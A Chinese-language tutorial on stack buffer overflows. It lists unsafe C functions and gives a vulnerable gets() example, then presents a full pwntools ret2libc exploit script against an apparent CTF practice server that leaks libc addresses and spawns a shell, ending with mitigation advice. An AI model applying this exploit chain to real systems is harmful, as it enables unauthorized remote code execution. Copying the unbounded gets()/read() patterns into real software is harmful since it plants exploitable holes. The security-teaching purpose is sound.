栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。发生栈溢出的基本前提是:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
容易造成栈溢出的函数
- 输入
- gets 直接读取一行,忽略'\x00'
- scanf
- vscanf
- 输出
- sprintf
- 字符串操作
- strcpy 字符串复制,遇到'\x00'停止
- strcat 字符串拼接 ,遇到'\x00'
例子:
#include <stdio.h>
int main(){
char buf[32];
gets(buf); //因为gets()只有遇到'\n'才会停止读取数据,所以向栈中写入的数据大小可以为任意大小
printf("%s",buf);
return 0;
}
危害:
当编写代码时,向栈中写入的数据没有做好边界检查,很容易造成栈溢出。栈溢出漏洞存在时,轻则栈中的相邻数据被改写或导致程序崩溃,重则导致程序流程被劫持甚至导致被黑客利用取得shell。
导致程序崩溃
如下图所示:输入超长的数据导致栈中的返回地址被修改为无效地址,当程序返回时导致报错
黑客利用取得shell
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Pull up your sword and tell me u story!");
return read(0, buf, 0x64uLL);
}
上面代码我们可以看出read函数向buf中写入数据限制的长度明显大于buf的长度,从而导致栈溢出。
通过pwntool检查程序的保护机制,如下图所示,程序开启了NX(堆栈不可执行)保护
利用思路:
- 通过栈溢出泄露puts函数的got地址
- 通过got地址找到对应程序使用的libc
- 通过libc找到system与/bin/sh
- 再通过栈溢出执行system('/bin/sh')获取shell
from pwn import *
from LibcSearcher import *
sh = remote("node4.anna.nssctf.cn",28122)
elf = ELF('pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
#因为程序为64位,调用函数的方式是快速调用即fastcall,函数的前6个参数通过(rdi,rsi,rdx,rcx,r8,9)这6个寄存器传递。所以我们需要在程序中找到ROP片段
pop_rdi = 0x400733
ret = 0x4006AC
#构造payload,使栈溢出,执行puts函数打印puts_got的地址
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
sh.recvuntil("u story!")
sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#通过puts_got地址去找到libc,并通过偏移找到system和'/bin/sh'
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = b'a'*(0x20+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
sh.sendline(payload1)
sh.interactive()
如上图所示:通过ret2libc获取到了shell
防护建议
- 将保护机制全部开启,如NX,Canary,PIE (linux)
- 在对栈中的数据进行操作的时候应该对边界进行检查,防止向栈中数据写入的数据超过边界